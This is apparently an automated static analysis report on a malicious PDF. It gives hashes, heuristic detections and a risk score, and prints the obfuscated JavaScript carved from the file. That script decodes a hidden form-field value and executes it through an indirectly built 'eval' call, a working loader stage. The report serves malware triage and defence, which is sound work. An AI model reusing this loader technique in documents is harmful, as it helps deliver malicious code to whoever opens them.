Malicious PDF — malware analysis report

Static analysis result for SHA-256 3ae5d4637e81947b…

MALICIOUS

PDF

59.5 KB Created: 2012-07-31 22:05:59 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2013-01-23
MD5: f4d969477b00e6fb2654dce40a377933 SHA-1: 1bbd38d6d4a32f42db5d9db3d466685694f647c7 SHA-256: 3ae5d4637e81947b05e335e1bb2586d67813d9d1b530801eb014a4a8d715d476
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to download and execute further malicious content. The JavaScript stream itself is obfuscated, making a precise determination of its actions difficult, but the presence of JavaScript and the ML classification strongly suggest a malicious intent, likely involving a downloader or dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9991

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function hqergdfgagasgfqw(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
function jwtegasgasfadsfawef(asd){return String.fromCharCode(asd);}
function hqrgasfgasdgqw(str){return str.replace(/p/g,",");}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0xEA20 1560 bytes
SHA-256: 7a49368c0379a2fbcd93d4e6b6998141ccbdfb6cba7bf8f7619a23f245e66067
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function grwafsadfdf(){
function qrgwfasdfqwefwafa(str){var set='';var s='';var ee='';
str = hqrgasfgasdgqw(str);
str = str.split(",");
for(var i=0;i<str.length;i++){  
ee=str[i]/(18/6);
set+=iuwergfdsgqwargasdf(ee.toString(64/4));}
return set;}
function jtwhsdgxcvbewbsdfg(hex) {
    var str = '';var zzz=jwtegasgasfadsfawef;
    for (var i = 0; i < hex.length; i += 2){
	var sssss = hex.substr(i,2);
       str +=jwtegasgasfadsfawef('asdfwefwuiegfyuadsui0x'.substr(20,2)+sssss);
}return str;}
function hqrsfbxbegrqewgsg(input2) {var asdf =qrgwfasdfqwefwafa(input2) ; var asfdsad = jtwhsdgxcvbewbsdfg(asdf); return asfdsad;}
function hqergdfgagasgfqw(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
function jwtegasgasfadsfawef(asd){return String.fromCharCode(asd);}
function hqrgasfgasdgqw(str){return str.replace(/p/g,",");}
function iuwergfdsgqwargasdf(eds){var set='';var s=eds;
if (s.length<2)
{set=hqergdfgagasgfqw(s);}
else{set=s;}
return set;}
function ghsgffsadfsadf(d,dd){return d+dd;}
var b2=getField("Text1");
var aDFsdfasd=b2.value;
var aDFsdfasd=hqrsfbxbegrqewgsg(aDFsdfasd);
var ggjkdfasdgj = "constr";
var czvhjashavsiodhvuipashcpioasdcs  = app.alert[ggjkdfasdgj+"uctor"];
var seasus=false+"";var susea=true+"";
var daeaefe="gakljsdhjkashkvhjaksjldadsf";
var argqrgqadsfwqgwafdsfwef=susea[(3+3)/2];
argqrgqadsfwqgwafdsfwef+=daeaefe[(14+14)/2];
argqrgqadsfwqgwafdsfwef+=seasus[((1+9)/5)-1];
argqrgqadsfwqgwafdsfwef+=seasus[(2+10)/6];
czvhjashavsiodhvuipashcpioasdcs[argqrgqadsfwqgwafdsfwef](aDFsdfasd);
}
grwafsadfdf();

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